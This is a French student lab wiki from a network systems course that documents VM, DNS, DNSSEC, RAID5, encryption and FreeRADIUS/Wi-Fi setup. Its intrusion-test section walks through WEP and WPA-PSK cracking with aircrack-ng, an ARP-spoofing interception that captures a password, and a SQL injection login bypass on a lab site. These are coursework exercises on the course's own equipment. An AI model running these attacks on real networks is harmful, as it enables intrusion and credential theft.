ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...

Le wifi SSID_Lulya est visible et accessible.

Dot11Radio 0 : 2.5 GHz

Dot11rRadio 1 : 5 GHz

Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.

Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.
ap#sh dot11 bssid

== Supplémentaires ==

Puisque j'ai été la plus avancée au niveau de la réalisation de la VM et de certaines parties concernant le service internet, les tests d'intrusion et les réalisations, j'ai voulu aider mes camarades.

Je me souviens de Nathan qui a été confiné cas contact que j'ai aidé à configurer sa machine virtuelle et lancer son domaine via gandi.net. Il a pu rattraper le retard et donc bien avancer.

Puis, d'autres au niveau de de la sécurisation du site web par certificat et par DNSSEC.

J'ai aussi réalisé d'autres travaux comme l'utilisateur username.

Une interconnexion, j'ai connecté les routeurs 6509 et 3560E, ils ont alors été en conflit mais les VM ont tout de même continué à répondre.

J'ai aussi eu un moment une connexion avec SSID_Lulya via mon portable sans internet ce qui était normal.

TP sysres IMA2a5 2020/2021 G7

2020-12-16T07:27:43Z

Lchenu : /* Supplémentaires */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2 //0 sauvegarde et 2 place
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid //Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2
Pour le prise en compte ces modifications, on attend de 12 à 24h.

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

L'objectif est de sécuriser www.lulya.space.
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

Pour valider cette étape, j'ai envoyé un mail par polytech mail, et je l'ai vu via la commande mailx.

En rencontrant un problème, j'ai utilisé une commande servant d'outil de dépannage.

nano /etc/aliases
apt install strace
strace -f -o open newaliases
strace -f newaliases
newaliases /etc/aliases
J'envoie un nouveau mail mais à admin.
Grâce à mailx, on voit le mail, c'est mon certificat

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de clés.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent.

Je visualise cracotte07 dans la liste pour ses informations.
root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC
root@zabeth09:~# ./dico > dico.txt
root@zabeth09:~# scp dico.txt zabethxx

Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.

Je considère la sécurisation de mes données de VM atteinte.

=== Chiffrement de données ===

L'objectif est le cryptage de données contenues par une clé USB. Protégée par un mot de passe, il faudra le connaître pour accéder à son contenu.

Je branche une clé USB sur mon PC et la sécurise
cryptsetup open /dev/sdb cle --type : plain
password : licorne
Dans ce cas, on peut utiliser deux types de cryptage : Plain ou Luks, j'ai choisi plain conseillé par M. Redon.
Je lance la commande lsbk pour visualiser les périphériques disponibles comme sdb : sdb1, sdb2 et je trouve aussi clé ajoutée après la commande cryptsetup
Je supprime les signatures et les avertissements
wipefs --all --force /dev/sdb

ls /dev/mapper
clé : nom du périphérique chiffré
/dev/mapper cle

Système de fichier pour mapper.
Création
mkfs /dev/mapper/cle
Montage
mount /dev/mapper/cle /mnt
dh -h
Donne espace disque libre sur chaque système de fichier monté.
On a quelque chose sur la clé.
Création de fichier
nano /mnt/toto
Démonter la clé
umount /mnt
crypt setup close cle --type = plain
/cle/mapper n'est plus accessible
Sur un autre ordinateur, la clé est invisible. Même si je fais un open, je l'a vois mais il me demande le mot de passe qui est licorne (choisi au début).

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
